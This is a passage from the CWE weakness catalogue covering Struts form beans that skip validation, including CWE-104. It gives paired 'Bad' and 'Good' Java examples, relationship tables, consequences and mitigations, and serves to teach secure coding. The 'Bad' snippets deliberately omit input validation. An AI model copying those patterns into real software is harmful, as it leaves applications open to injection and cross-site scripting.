In the following Java example the class `RegistrationForm` is a Struts framework `ActionForm` Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the `RegistrationForm` bean in the Struts framework will maintain the user data. The `RegistrationForm` class implements the `validate` method to validate the user input entered into the form.

Example Language: Java

(Bad)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
}
```



```
}  
public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {  
    ActionErrors errors = new ActionErrors();  
    if (getName() == null || getName().length() < 1) {  
        errors.add("name", new ActionMessage("error.name.required"));  
    }  
    return errors;  
}  
// getter and setter methods for private variables  
...  
}
```

Although the validate method is implemented in this example the method does not call the validate method of the ValidatorForm parent class with a call `super.validate()`. Without the call to the parent validator class only the custom validation will be performed and the default validation will not be performed. The following example shows that the validate method of the ValidatorForm class is called within the implementation of the validate method.

Example Language: Java

(Good)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {  
    // private variables for registration form  
    private String name;  
    private String email;  
    ...  
    public RegistrationForm() {  
        super();  
    }  
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {  
        ActionErrors errors = super.validate(mapping, request);  
        if (errors == null) {  
            errors = new ActionErrors();  
        }  
        if (getName() == null || getName().length() < 1) {  
            errors.add("name", new ActionMessage("error.name.required"));  
        }  
        return errors;  
    }  
    // getter and setter methods for private variables  
    ...  
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2334
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Notes

Relationship

This could introduce other weaknesses related to missing input validation.

Maintenance

The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Erroneous validate() Method
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-104: Struts: Form Bean Does Not Extend Validation Class

Weakness ID : 104

Structure : Simple

Abstraction : Variant


Description

If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1298

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	20

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Background Details

In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. One of these classes must be extended because the Struts Validator ties in to the application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.

Common Consequences

Scope	Impact	Likelihood
Other	Other	
	<i>Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.</i>	

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Other <i>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Ensure that all forms extend one of the Validation Classes.

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user information from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

Example Language: Java (Bad)

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does not allow the RegistrationForm class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an ActionForm Bean, the class should always extend one of the validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm or DynaValidatorActionForm. These validator classes provide default validation and the validate method for custom validation for the Bean object to use for validating input data. The following Java example shows the RegistrationForm class extending the ValidatorForm class and implementing the validate method for validating input data.

Example Language: Java (Good)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
```